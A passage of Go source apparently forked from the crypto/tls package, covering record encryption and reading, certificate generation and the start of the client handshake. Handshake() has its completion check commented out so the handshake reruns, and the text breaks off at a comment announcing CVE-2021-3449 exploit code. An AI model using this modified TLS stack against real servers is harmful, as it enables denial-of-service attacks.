return nil, 0, alertBadRecordMAC
}
plaintext = payload[:n]
}
hc.incSeq()
return plaintext, typ, nil
}
// sliceForAppend extends the input slice by n bytes. head is the full extended
// slice, while tail is the appended part. If the original slice has sufficient
// capacity no allocation is performed.
func sliceForAppend(in []byte, n int) (head, tail []byte) {
if total := len(in) + n; cap(in) >= total {
head = in[:total]
} else {
head = make([]byte, total)
copy(head, in)
}
tail = head[len(in):]
return
}
// encrypt encrypts payload, adding the appropriate nonce and/or MAC, and
// appends it to record, which contains the record header.
func (hc *halfConn) encrypt(record, payload []byte, rand io.Reader) ([]byte, error) {
if hc.cipher == nil {
return append(record, payload...), nil
}
var explicitNonce []byte
if explicitNonceLen := hc.explicitNonceLen(); explicitNonceLen > 0 {
record, explicitNonce = sliceForAppend(record, explicitNonceLen)
if _, isCBC := hc.cipher.(cbcMode); !isCBC && explicitNonceLen < 16 {
// The AES-GCM construction in TLS has an explicit nonce so that the
// nonce can be random. However, the nonce is only 8 bytes which is
// too small for a secure, random nonce. Therefore we use the
// sequence number as the nonce. The 3DES-CBC construction also has
// an 8 bytes nonce but its nonces must be unpredictable (see RFC
// 5246, Appendix F.3), forcing us to use randomness. That's not
// 3DES' biggest problem anyway because the birthday bound on block
// collision is reached first due to its simlarly small block size
// (see the Sweet32 attack).
copy(explicitNonce, hc.seq[:])
} else {
if _, err := io.ReadFull(rand, explicitNonce); err != nil {
return nil, err
}
}
}
var mac []byte
if hc.mac != nil {
mac = hc.mac.MAC(hc.seq[:], record[:recordHeaderLen], payload, nil)
}
var dst []byte
switch c := hc.cipher.(type) {
case cipher.Stream:
record, dst = sliceForAppend(record, len(payload)+len(mac))
c.XORKeyStream(dst[:len(payload)], payload)
c.XORKeyStream(dst[len(payload):], mac)
case aead:
nonce := explicitNonce
if len(nonce) == 0 {
nonce = hc.seq[:]
}
copy(hc.additionalData[:], hc.seq[:])
copy(hc.additionalData[8:], record)
record = c.Seal(record, nonce, payload, hc.additionalData[:])
case cbcMode:
blockSize := c.BlockSize()
plaintextLen := len(payload) + len(mac)
paddingLen := blockSize - plaintextLen%blockSize
record, dst = sliceForAppend(record, plaintextLen+paddingLen)
copy(dst, payload)
copy(dst[len(payload):], mac)
for i := plaintextLen; i < len(dst); i++ {
dst[i] = byte(paddingLen - 1)
}
if len(explicitNonce) > 0 {
c.SetIV(explicitNonce)
}
c.CryptBlocks(dst, dst)
default:
panic("unknown cipher type")
}
// Update length to include nonce, MAC and any block padding needed.
n := len(record) - recordHeaderLen
record[3] = byte(n >> 8)
record[4] = byte(n)
hc.incSeq()
return record, nil
}
// RecordHeaderError is returned when a TLS record header is invalid.
type RecordHeaderError struct {
// Msg contains a human readable string that describes the error.
Msg string
// RecordHeader contains the five bytes of TLS record header that
// triggered the error.
RecordHeader [5]byte
// Conn provides the underlying net.Conn in the case that a client
// sent an initial handshake that didn't look like TLS.
// It is nil if there's already been a handshake or a TLS alert has
// been written to the connection.
Conn net.Conn
}
func (e RecordHeaderError) Error() string { return "tls: " + e.Msg }
func (c *Conn) newRecordHeaderError(conn net.Conn, msg string) (err RecordHeaderError) {
err.Msg = msg
err.Conn = conn
copy(err.RecordHeader[:], c.rawInput.Bytes())
return err
}
func (c *Conn) readRecord() error {
return c.readRecordOrCCS(false)
}
func (c *Conn) readChangeCipherSpec() error {
return c.readRecordOrCCS(true)
}
// readRecordOrCCS reads one or more TLS records from the connection and
// updates the record layer state. Some invariants:
// * c.in must be locked
// * c.input must be empty
// During the handshake one and only one of the following will happen:
// - c.hand grows
// - c.in.changeCipherSpec is called
// - an error is returned
// After the handshake one and only one of the following will happen:
// - c.hand grows
// - c.input is set
// - an error is returned
func (c *Conn) readRecordOrCCS(expectChangeCipherSpec bool) error {
if c.in.err != nil {
return c.in.err
}
handshakeComplete := c.handshakeComplete()
// This function modifies c.rawInput, which owns the c.input memory.
if c.input.Len() != 0 {
return c.in.setErrorLocked(errors.New("tls: internal error: attempted to read record with pending application data"))
}
c.input.Reset(nil)
// Read header, payload.
if err := c.readFromUntil(c.conn, recordHeaderLen); err != nil {
// RFC 8446, Section 6.1 suggests that EOF without an alertCloseNotify
// is an error, but popular web sites seem to do this, so we accept it
// if and only if at the record boundary.
if err == io.ErrUnexpectedEOF && c.rawInput.Len() == 0 {
err = io.EOF
}
if e, ok := err.(net.Error); !ok || !e.Temporary() {
c.in.setErrorLocked(err)
}
return err
}
hdr := c.rawInput.Bytes()[:recordHeaderLen]
typ := recordType(hdr[0])
// No valid TLS record has a type of 0x80, however SSLv2 handshakes
// start with a uint16 length where the MSB is set and the first record
// is always < 256 bytes long. Therefore typ == 0x80 strongly suggests
// an SSLv2 client.
if !handshakeComplete && typ == 0x80 {
c.sendAlert(alertProtocolVersion)
return c.in.setErrorLocked(c.newRecordHeaderError(nil, "unsupported SSLv2 handshake received"))
}
vers := uint16(hdr[1])<<8 | uint16(hdr[2])
n := int(hdr[3])<<8 | int(hdr[4])
if c.haveVers && vers != c.vers {
c.sendAlert(alertProtocolVersion)
msg := fmt.Sprintf("received record with version %x when expecting version %x", vers, c.vers)
return c.in.setErrorLocked(c.newRecordHeaderError(nil, msg))
}
if !c.haveVers {
// First message, be extra suspicious: this might not be a TLS
// client. Bail out before reading a full 'body', if possible.
// The current max version is 3.3 so if the version is >= 16.0,
// it's probably not real.
if (typ != recordTypeAlert && typ != recordTypeHandshake) || vers >= 0x1000 {
return c.in.setErrorLocked(c.newRecordHeaderError(c.conn, "first record does not look like a TLS handshake"))
}
}
if err := c.readFromUntil(c.conn, recordHeaderLen+n); err != nil {
if e, ok := err.(net.Error); !ok || !e.Temporary() {
c.in.setErrorLocked(err)
}
return err
}
// Process message.
record := c.rawInput.Next(recordHeaderLen + n)
data, typ, err := c.in.decrypt(record)
if err != nil {
return c.in.setErrorLocked(c.sendAlert(err.(alert)))
}
if len(data) > maxPlaintext {
return c.in.setErrorLocked(c.sendAlert(alertRecordOverflow))
}
// Application Data messages are always protected.
if c.in.cipher == nil && typ == recordTypeApplicationData {
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
if typ != recordTypeAlert && typ != recordTypeChangeCipherSpec && len(data) > 0 {
// This is a state-advancing message: reset the retry count.
c.retryCount = 0
}
switch typ {
default:
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
case recordTypeAlert:
if len(data) != 2 {
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
if alert(data[1]) == alertCloseNotify {
return c.in.setErrorLocked(io.EOF)
}
switch data[0] {
case alertLevelWarning:
// Drop the record on the floor and retry.
return c.retryReadRecord(expectChangeCipherSpec)
case alertLevelError:
return c.in.setErrorLocked(&net.OpError{Op: "remote error", Err: alert(data[1])})
default:
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
case recordTypeChangeCipherSpec:
if len(data) != 1 || data[0] != 1 {
return c.in.setErrorLocked(c.sendAlert(alertDecodeError))
}
// Handshake messages are not allowed to fragment across the CCS.
if c.hand.Len() > 0 {
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
if !expectChangeCipherSpec {
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
if err := c.in.changeCipherSpec(); err != nil {
return c.in.setErrorLocked(c.sendAlert(err.(alert)))
}
case recordTypeApplicationData:
if !handshakeComplete || expectChangeCipherSpec {
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
// Some OpenSSL servers send empty records in order to randomize the
// CBC IV. Ignore a limited number of empty records.
if len(data) == 0 {
return c.retryReadRecord(expectChangeCipherSpec)
}
// Note that data is owned by c.rawInput, following the Next call above,
// to avoid copying the plaintext. This is safe because c.rawInput is
// not read from or written to until c.input is drained.
c.input.Reset(data)
case recordTypeHandshake:
if len(data) == 0 || expectChangeCipherSpec {
return c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
c.hand.Write(data)
}
return nil
}
// retryReadRecord recurses into readRecordOrCCS to drop a non-advancing record, like
// a warning alert, empty application_data, or a change_cipher_spec in TLS 1.3.
func (c *Conn) retryReadRecord(expectChangeCipherSpec bool) error {
c.retryCount++
if c.retryCount > maxUselessRecords {
c.sendAlert(alertUnexpectedMessage)
return c.in.setErrorLocked(errors.New("tls: too many ignored records"))
}
return c.readRecordOrCCS(expectChangeCipherSpec)
}
// atLeastReader reads from R, stopping with EOF once at least N bytes have been
// read. It is different from an io.LimitedReader in that it doesn't cut short
// the last Read call, and in that it considers an early EOF an error.
type atLeastReader struct {
R io.Reader
N int64
}
func (r *atLeastReader) Read(p []byte) (int, error) {
if r.N <= 0 {
return 0, io.EOF
}
n, err := r.R.Read(p)
r.N -= int64(n) // won't underflow unless len(p) >= n > 9223372036854775809
if r.N > 0 && err == io.EOF {
return n, io.ErrUnexpectedEOF
}
if r.N <= 0 && err == nil {
return n, io.EOF
}
return n, err
}
// readFromUntil reads from r into c.rawInput until c.rawInput contains
// at least n bytes or else returns an error.
func (c *Conn) readFromUntil(r io.Reader, n int) error {
if c.rawInput.Len() >= n {
return nil
}
needs := n - c.rawInput.Len()
// There might be extra input waiting on the wire. Make a best effort
// attempt to fetch it so that it can be used in (*Conn).Read to
// "predict" closeNotify alerts.
c.rawInput.Grow(needs + bytes.MinRead)
_, err := c.rawInput.ReadFrom(&atLeastReader{r, int64(needs)})
return err
}
// sendAlert sends a TLS alert message.
func (c *Conn) sendAlertLocked(err alert) error {
switch err {
case alertNoRenegotiation, alertCloseNotify:
c.tmp[0] = alertLevelWarning
default:
c.tmp[0] = alertLevelError
}
c.tmp[1] = byte(err)
_, writeErr := c.writeRecordLocked(recordTypeAlert, c.tmp[0:2])
if err == alertCloseNotify {
// closeNotify is a special case in that it isn't an error.
return writeErr
}
return c.out.setErrorLocked(&net.OpError{Op: "local error", Err: err})
}
// sendAlert sends a TLS alert message.
func (c *Conn) sendAlert(err alert) error {
c.out.Lock()
defer c.out.Unlock()
return c.sendAlertLocked(err)
}
const (
// tcpMSSEstimate is a conservative estimate of the TCP maximum segment
// size (MSS). A constant is used, rather than querying the kernel for
// the actual MSS, to avoid complexity. The value here is the IPv6
// minimum MTU (1280 bytes) minus the overhead of an IPv6 header (40
// bytes) and a TCP header with timestamps (32 bytes).
tcpMSSEstimate = 1208
// recordSizeBoostThreshold is the number of bytes of application data
// sent after which the TLS record size will be increased to the
// maximum.
recordSizeBoostThreshold = 128 * 1024
)
// maxPayloadSizeForWrite returns the maximum TLS payload size to use for the
// next application data record. There is the following trade-off:
//
// - For latency-sensitive applications, such as web browsing, each TLS
// record should fit in one TCP segment.
// - For throughput-sensitive applications, such as large file transfers,
// larger TLS records better amortize framing and encryption overheads.
//
// A simple heuristic that works well in practice is to use small records for
// the first 1MB of data, then use larger records for subsequent data, and
// reset back to smaller records after the connection becomes idle. See "High
// Performance Web Networking", Chapter 4, or:
// https://www.igvita.com/2013/10/24/optimizing-tls-record-size-and-buffering-latency/
//
// In the interests of simplicity and determinism, this code does not attempt
// to reset the record size once the connection is idle, however.
func (c *Conn) maxPayloadSizeForWrite(typ recordType) int {
if c.config.DynamicRecordSizingDisabled || typ != recordTypeApplicationData {
return maxPlaintext
}
if c.bytesSent >= recordSizeBoostThreshold {
return maxPlaintext
}
// Subtract TLS overheads to get the maximum payload size.
payloadBytes := tcpMSSEstimate - recordHeaderLen - c.out.explicitNonceLen()
if c.out.cipher != nil {
switch ciph := c.out.cipher.(type) {
case cipher.Stream:
payloadBytes -= c.out.mac.Size()
case cipher.AEAD:
payloadBytes -= ciph.Overhead()
case cbcMode:
blockSize := ciph.BlockSize()
// The payload must fit in a multiple of blockSize, with
// room for at least one padding byte.
payloadBytes = (payloadBytes & ^(blockSize - 1)) - 1
// The MAC is appended before padding so affects the
// payload size directly.
payloadBytes -= c.out.mac.Size()
default:
panic("unknown cipher type")
}
}
// Allow packet growth in arithmetic progression up to max.
pkt := c.packetsSent
c.packetsSent++
if pkt > 1000 {
return maxPlaintext // avoid overflow in multiply below
}
n := payloadBytes * int(pkt+1)
if n > maxPlaintext {
n = maxPlaintext
}
return n
}
func (c *Conn) write(data []byte) (int, error) {
if c.buffering {
c.sendBuf = append(c.sendBuf, data...)
return len(data), nil
}
n, err := c.conn.Write(data)
c.bytesSent += int64(n)
return n, err
}
func (c *Conn) flush() (int, error) {
if len(c.sendBuf) == 0 {
return 0, nil
}
n, err := c.conn.Write(c.sendBuf)
c.bytesSent += int64(n)
c.sendBuf = nil
c.buffering = false
return n, err
}
// writeRecordLocked writes a TLS record with the given type and payload to the
// connection and updates the record layer state.
func (c *Conn) writeRecordLocked(typ recordType, data []byte) (int, error) {
var n int
for len(data) > 0 {
m := len(data)
if maxPayload := c.maxPayloadSizeForWrite(typ); m > maxPayload {
m = maxPayload
}
_, c.outBuf = sliceForAppend(c.outBuf[:0], recordHeaderLen)
c.outBuf[0] = byte(typ)
vers := c.vers
if vers == 0 {
// Some TLS servers fail if the record version is
// greater than TLS 1.0 for the initial ClientHello.
vers = VersionTLS10
}
c.outBuf[1] = byte(vers >> 8)
c.outBuf[2] = byte(vers)
c.outBuf[3] = byte(m >> 8)
c.outBuf[4] = byte(m)
var err error
c.outBuf, err = c.out.encrypt(c.outBuf, data[:m], c.config.rand())
if err != nil {
return n, err
}
if _, err := c.write(c.outBuf); err != nil {
return n, err
}
n += m
data = data[m:]
}
if typ == recordTypeChangeCipherSpec {
if err := c.out.changeCipherSpec(); err != nil {
return n, c.sendAlertLocked(err.(alert))
}
}
return n, nil
}
// writeRecord writes a TLS record with the given type and payload to the
// connection and updates the record layer state.
func (c *Conn) writeRecord(typ recordType, data []byte) (int, error) {
c.out.Lock()
defer c.out.Unlock()
return c.writeRecordLocked(typ, data)
}
// readHandshake reads the next handshake message from
// the record layer.
func (c *Conn) readHandshake() (interface{}, error) {
for c.hand.Len() < 4 {
if err := c.readRecord(); err != nil {
return nil, err
}
}
data := c.hand.Bytes()
n := int(data[1])<<16 | int(data[2])<<8 | int(data[3])
if n > maxHandshake {
c.sendAlertLocked(alertInternalError)
return nil, c.in.setErrorLocked(fmt.Errorf("tls: handshake message of length %d bytes exceeds maximum of %d bytes", n, maxHandshake))
}
for c.hand.Len() < 4+n {
if err := c.readRecord(); err != nil {
return nil, err
}
}
data = c.hand.Next(4 + n)
var m handshakeMessage
switch data[0] {
case typeHelloRequest:
m = new(helloRequestMsg)
case typeClientHello:
m = new(clientHelloMsg)
case typeServerHello:
m = new(serverHelloMsg)
case typeNewSessionTicket:
m = new(newSessionTicketMsg)
case typeCertificate:
m = new(certificateMsg)
case typeCertificateRequest:
m = &certificateRequestMsg{
hasSignatureAlgorithm: c.vers >= VersionTLS12,
}
case typeCertificateStatus:
m = new(certificateStatusMsg)
case typeServerKeyExchange:
m = new(serverKeyExchangeMsg)
case typeServerHelloDone:
m = new(serverHelloDoneMsg)
case typeClientKeyExchange:
m = new(clientKeyExchangeMsg)
case typeCertificateVerify:
m = &certificateVerifyMsg{
hasSignatureAlgorithm: c.vers >= VersionTLS12,
}
case typeFinished:
m = new(finishedMsg)
case typeEncryptedExtensions:
m = new(encryptedExtensionsMsg)
case typeEndOfEarlyData:
m = new(endOfEarlyDataMsg)
case typeKeyUpdate:
m = new(keyUpdateMsg)
default:
return nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
// The handshake message unmarshalers
// expect to be able to keep references to data,
// so pass in a fresh copy that won't be overwritten.
data = append([]byte(nil), data...)
if !m.unmarshal(data) {
return nil, c.in.setErrorLocked(c.sendAlert(alertUnexpectedMessage))
}
return m, nil
}
var (
errClosed = errors.New("tls: use of closed connection")
errShutdown = errors.New("tls: protocol is shutdown")
)
// Write writes data to the connection.
func (c *Conn) Write(b []byte) (int, error) {
// interlock with Close below
for {
x := atomic.LoadInt32(&c.activeCall)
if x&1 != 0 {
return 0, errClosed
}
if atomic.CompareAndSwapInt32(&c.activeCall, x, x+2) {
break
}
}
defer atomic.AddInt32(&c.activeCall, -2)
if err := c.Handshake(); err != nil {
return 0, err
}
c.out.Lock()
defer c.out.Unlock()
if err := c.out.err; err != nil {
return 0, err
}
if !c.handshakeComplete() {
return 0, alertInternalError
}
if c.closeNotifySent {
return 0, errShutdown
}
// TLS 1.0 is susceptible to a chosen-plaintext
// attack when using block mode ciphers due to predictable IVs.
// This can be prevented by splitting each Application Data
// record into two records, effectively randomizing the IV.
//
// https://www.openssl.org/~bodo/tls-cbc.txt
// https://bugzilla.mozilla.org/show_bug.cgi?id=665814
// https://www.imperialviolet.org/2012/01/15/beastfollowup.html
var m int
if len(b) > 1 && c.vers == VersionTLS10 {
if _, ok := c.out.cipher.(cipher.BlockMode); ok {
n, err := c.writeRecordLocked(recordTypeApplicationData, b[:1])
if err != nil {
return n, c.out.setErrorLocked(err)
}
m, b = 1, b[1:]
}
}
n, err := c.writeRecordLocked(recordTypeApplicationData, b)
return n + m, c.out.setErrorLocked(err)
}
// handleRenegotiation processes a HelloRequest handshake message.
func (c *Conn) handleRenegotiation() error {
msg, err := c.readHandshake()
if err != nil {
return err
}
helloReq, ok := msg.(*helloRequestMsg)
if !ok {
c.sendAlert(alertUnexpectedMessage)
return unexpectedMessageError(helloReq, msg)
}
switch c.config.Renegotiation {
case RenegotiateNever:
return c.sendAlert(alertNoRenegotiation)
case RenegotiateOnceAsClient:
if c.handshakes > 1 {
return c.sendAlert(alertNoRenegotiation)
}
case RenegotiateFreelyAsClient:
// Ok.
default:
c.sendAlert(alertInternalError)
return errors.New("tls: unknown Renegotiation value")
}
c.handshakeMutex.Lock()
defer c.handshakeMutex.Unlock()
atomic.StoreUint32(&c.handshakeStatus, 0)
if c.handshakeErr = c.clientHandshake(); c.handshakeErr == nil {
c.handshakes++
}
return c.handshakeErr
}
// handlePostHandshakeMessage processes a handshake message arrived after the
// handshake is complete. Up to TLS 1.2, it indicates the start of a renegotiation.
func (c *Conn) handlePostHandshakeMessage() error {
return c.handleRenegotiation()
}
// Read can be made to time out and return a net.Error with Timeout() == true
// after a fixed time limit; see SetDeadline and SetReadDeadline.
func (c *Conn) Read(b []byte) (int, error) {
if err := c.Handshake(); err != nil {
return 0, err
}
if len(b) == 0 {
// Put this after Handshake, in case people were calling
// Read(nil) for the side effect of the Handshake.
return 0, nil
}
c.in.Lock()
defer c.in.Unlock()
for c.input.Len() == 0 {
if err := c.readRecord(); err != nil {
return 0, err
}
for c.hand.Len() > 0 {
if err := c.handlePostHandshakeMessage(); err != nil {
return 0, err
}
}
}
n, _ := c.input.Read(b)
// If a close-notify alert is waiting, read it so that we can return (n,
// EOF) instead of (n, nil), to signal to the HTTP response reading
// goroutine that the connection is now closed. This eliminates a race
// where the HTTP response reading goroutine would otherwise not observe
// the EOF until its next read, by which time a client goroutine might
// have already tried to reuse the HTTP connection for a new request.
// See https://golang.org/cl/76400046 and https://golang.org/issue/3514
if n != 0 && c.input.Len() == 0 && c.rawInput.Len() > 0 &&
recordType(c.rawInput.Bytes()[0]) == recordTypeAlert {
if err := c.readRecord(); err != nil {
return n, err // will be io.EOF on closeNotify
}
}
return n, nil
}
// Close closes the connection.
func (c *Conn) Close() error {
// Interlock with Conn.Write above.
var x int32
for {
x = atomic.LoadInt32(&c.activeCall)
if x&1 != 0 {
return errClosed
}
if atomic.CompareAndSwapInt32(&c.activeCall, x, x|1) {
break
}
}
if x != 0 {
// io.Writer and io.Closer should not be used concurrently.
// If Close is called while a Write is currently in-flight,
// interpret that as a sign that this Close is really just
// being used to break the Write and/or clean up resources and
// avoid sending the alertCloseNotify, which may block
// waiting on handshakeMutex or the c.out mutex.
return c.conn.Close()
}
var alertErr error
if c.handshakeComplete() {
alertErr = c.closeNotify()
}
if err := c.conn.Close(); err != nil {
return err
}
return alertErr
}
var errEarlyCloseWrite = errors.New("tls: CloseWrite called before handshake complete")
// CloseWrite shuts down the writing side of the connection. It should only be
// called once the handshake has completed and does not call CloseWrite on the
// underlying connection. Most callers should just use Close.
func (c *Conn) CloseWrite() error {
if !c.handshakeComplete() {
return errEarlyCloseWrite
}
return c.closeNotify()
}
func (c *Conn) closeNotify() error {
c.out.Lock()
defer c.out.Unlock()
if !c.closeNotifySent {
c.closeNotifyErr = c.sendAlertLocked(alertCloseNotify)
c.closeNotifySent = true
}
return c.closeNotifyErr
}
// Handshake runs the client or server handshake
// protocol if it has not yet been run.
// Most uses of this package need not call Handshake
// explicitly: the first Read or Write will call it automatically.
func (c *Conn) Handshake() error {
c.handshakeMutex.Lock()
defer c.handshakeMutex.Unlock()
if err := c.handshakeErr; err != nil {
return err
}
//if c.handshakeComplete() {
// return nil
//}
c.in.Lock()
defer c.in.Unlock()
c.handshakeErr = c.clientHandshake()
if c.handshakeErr == nil {
c.handshakes++
} else {
// If an error occurred during the handshake try to flush the
// alert that might be left in the buffer.
c.flush()
}
if c.handshakeErr == nil && !c.handshakeComplete() {
c.handshakeErr = errors.New("tls: internal error: handshake should have had a result")
}
return c.handshakeErr
}
// ConnectionState returns basic TLS details about the connection.
func (c *Conn) ConnectionState() ConnectionState {
c.handshakeMutex.Lock()
defer c.handshakeMutex.Unlock()
var state ConnectionState
state.HandshakeComplete = c.handshakeComplete()
state.ServerName = c.serverName
if state.HandshakeComplete {
state.Version = c.vers
state.NegotiatedProtocol = c.clientProtocol
state.DidResume = c.didResume
state.NegotiatedProtocolIsMutual = !c.clientProtocolFallback
state.CipherSuite = c.cipherSuite
state.PeerCertificates = c.peerCertificates
state.VerifiedChains = c.verifiedChains
state.SignedCertificateTimestamps = c.scts
state.OCSPResponse = c.ocspResponse
if !c.didResume {
if c.clientFinishedIsFirst {
state.TLSUnique = c.clientFinished[:]
} else {
state.TLSUnique = c.serverFinished[:]
}
}
if c.config.Renegotiation != RenegotiateNever {
state.ekm = noExportedKeyingMaterial
} else {
state.ekm = c.ekm
}
}
return state
}
// OCSPResponse returns the stapled OCSP response from the TLS server, if
// any. (Only valid for client connections.)
func (c *Conn) OCSPResponse() []byte {
c.handshakeMutex.Lock()
defer c.handshakeMutex.Unlock()
return c.ocspResponse
}
// VerifyHostname checks that the peer certificate chain is valid for
// connecting to host. If so, it returns nil; if not, it returns an error
// describing the problem.
func (c *Conn) VerifyHostname(host string) error {
c.handshakeMutex.Lock()
defer c.handshakeMutex.Unlock()
if !c.handshakeComplete() {
return errors.New("tls: handshake has not yet been performed")
}
if len(c.verifiedChains) == 0 {
return errors.New("tls: handshake did not verify certificate chain")
}
return c.peerCertificates[0].VerifyHostname(host)
}
func (c *Conn) handshakeComplete() bool {
return atomic.LoadUint32(&c.handshakeStatus) == 1
}
================================================
FILE: tls/generate_cert.go
================================================
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build ignore
// Generate a self-signed X.509 certificate for a TLS server. Outputs to
// 'cert.pem' and 'key.pem' and will overwrite existing files.
package main
import (
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"flag"
"log"
"math/big"
"net"
"os"
"strings"
"time"
)
var (
host = flag.String("host", "", "Comma-separated hostnames and IPs to generate a certificate for")
validFrom = flag.String("start-date", "", "Creation date formatted as Jan 1 15:04:05 2011")
validFor = flag.Duration("duration", 365*24*time.Hour, "Duration that certificate is valid for")
isCA = flag.Bool("ca", false, "whether this cert should be its own Certificate Authority")
rsaBits = flag.Int("rsa-bits", 2048, "Size of RSA key to generate. Ignored if --ecdsa-curve is set")
ecdsaCurve = flag.String("ecdsa-curve", "", "ECDSA curve to use to generate a key. Valid values are P224, P256 (recommended), P384, P521")
ed25519Key = flag.Bool("ed25519", false, "Generate an Ed25519 key")
)
func publicKey(priv interface{}) interface{} {
switch k := priv.(type) {
case *rsa.PrivateKey:
return &k.PublicKey
case *ecdsa.PrivateKey:
return &k.PublicKey
case ed25519.PrivateKey:
return k.Public().(ed25519.PublicKey)
default:
return nil
}
}
func main() {
flag.Parse()
if len(*host) == 0 {
log.Fatalf("Missing required --host parameter")
}
var priv interface{}
var err error
switch *ecdsaCurve {
case "":
if *ed25519Key {
_, priv, err = ed25519.GenerateKey(rand.Reader)
} else {
priv, err = rsa.GenerateKey(rand.Reader, *rsaBits)
}
case "P224":
priv, err = ecdsa.GenerateKey(elliptic.P224(), rand.Reader)
case "P256":
priv, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
case "P384":
priv, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)
case "P521":
priv, err = ecdsa.GenerateKey(elliptic.P521(), rand.Reader)
default:
log.Fatalf("Unrecognized elliptic curve: %q", *ecdsaCurve)
}
if err != nil {
log.Fatalf("Failed to generate private key: %v", err)
}
var notBefore time.Time
if len(*validFrom) == 0 {
notBefore = time.Now()
} else {
notBefore, err = time.Parse("Jan 2 15:04:05 2006", *validFrom)
if err != nil {
log.Fatalf("Failed to parse creation date: %v", err)
}
}
notAfter := notBefore.Add(*validFor)
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
log.Fatalf("Failed to generate serial number: %v", err)
}
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Organization: []string{"Acme Co"},
},
NotBefore: notBefore,
NotAfter: notAfter,
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}
hosts := strings.Split(*host, ",")
for _, h := range hosts {
if ip := net.ParseIP(h); ip != nil {
template.IPAddresses = append(template.IPAddresses, ip)
} else {
template.DNSNames = append(template.DNSNames, h)
}
}
if *isCA {
template.IsCA = true
template.KeyUsage |= x509.KeyUsageCertSign
}
derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, publicKey(priv), priv)
if err != nil {
log.Fatalf("Failed to create certificate: %v", err)
}
certOut, err := os.Create("cert.pem")
if err != nil {
log.Fatalf("Failed to open cert.pem for writing: %v", err)
}
if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}); err != nil {
log.Fatalf("Failed to write data to cert.pem: %v", err)
}
if err := certOut.Close(); err != nil {
log.Fatalf("Error closing cert.pem: %v", err)
}
log.Print("wrote cert.pem\n")
keyOut, err := os.OpenFile("key.pem", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
if err != nil {
log.Fatalf("Failed to open key.pem for writing: %v", err)
return
}
privBytes, err := x509.MarshalPKCS8PrivateKey(priv)
if err != nil {
log.Fatalf("Unable to marshal private key: %v", err)
}
if err := pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: privBytes}); err != nil {
log.Fatalf("Failed to write data to key.pem: %v", err)
}
if err := keyOut.Close(); err != nil {
log.Fatalf("Error closing key.pem: %v", err)
}
log.Print("wrote key.pem\n")
}
================================================
FILE: tls/handshake_client.go
================================================
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package tls
import (
"bytes"
"crypto"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/rsa"
"crypto/subtle"
"crypto/x509"
"errors"
"fmt"
"io"
"net"
"strings"
"sync/atomic"
)
type clientHandshakeState struct {
c *Conn
serverHello *serverHelloMsg
hello *clientHelloMsg
suite *cipherSuite
finishedHash finishedHash
masterSecret []byte
session *ClientSessionState
}
func (c *Conn) makeClientHello() (*clientHelloMsg, error) {
config := c.config
if len(config.ServerName) == 0 && !config.InsecureSkipVerify {
return nil, errors.New("tls: either ServerName or InsecureSkipVerify must be specified in the tls.Config")
}
nextProtosLength := 0
for _, proto := range config.NextProtos {
if l := len(proto); l == 0 || l > 255 {
return nil, errors.New("tls: invalid NextProtos value")
} else {
nextProtosLength += 1 + l
}
}
if nextProtosLength > 0xffff {
return nil, errors.New("tls: NextProtos values too large")
}
supportedVersions := config.supportedVersions()
if len(supportedVersions) == 0 {
return nil, errors.New("tls: no supported versions satisfy MinVersion and MaxVersion")
}
clientHelloVersion := supportedVersions[0]
// The version at the beginning of the ClientHello was capped at TLS 1.2
// for compatibility reasons. The supported_versions extension is used
// to negotiate versions now. See RFC 8446, Section 4.2.1.
if clientHelloVersion > VersionTLS12 {
clientHelloVersion = VersionTLS12
}
hello := &clientHelloMsg{
vers: clientHelloVersion,
compressionMethods: []uint8{compressionNone},
random: make([]byte, 32),
sessionId: make([]byte, 32),
ocspStapling: true,
scts: true,
serverName: hostnameInSNI(config.ServerName),
supportedCurves: config.curvePreferences(),
supportedPoints: []uint8{pointFormatUncompressed},
secureRenegotiationSupported: true,
alpnProtocols: config.NextProtos,
supportedVersions: supportedVersions,
}
if c.handshakes > 0 {
hello.secureRenegotiation = c.clientFinished[:]
}
possibleCipherSuites := config.cipherSuites()
hello.cipherSuites = make([]uint16, 0, len(possibleCipherSuites))
for _, suiteId := range possibleCipherSuites {
for _, suite := range cipherSuites {
if suite.id != suiteId {
continue
}
// Don't advertise TLS 1.2-only cipher suites unless
// we're attempting TLS 1.2.
if hello.vers < VersionTLS12 && suite.flags&suiteTLS12 != 0 {
break
}
hello.cipherSuites = append(hello.cipherSuites, suiteId)
break
}
}
_, err := io.ReadFull(config.rand(), hello.random)
if err != nil {
return nil, errors.New("tls: short read from Rand: " + err.Error())
}
// A random session ID is used to detect when the server accepted a ticket
// and is resuming a session (see RFC 5077). In TLS 1.3, it's always set as
// a compatibility measure (see RFC 8446, Section 4.1.2).
if _, err := io.ReadFull(config.rand(), hello.sessionId); err != nil {
return nil, errors.New("tls: short read from Rand: " + err.Error())
}
// CVE-2021-3449 exploit code.
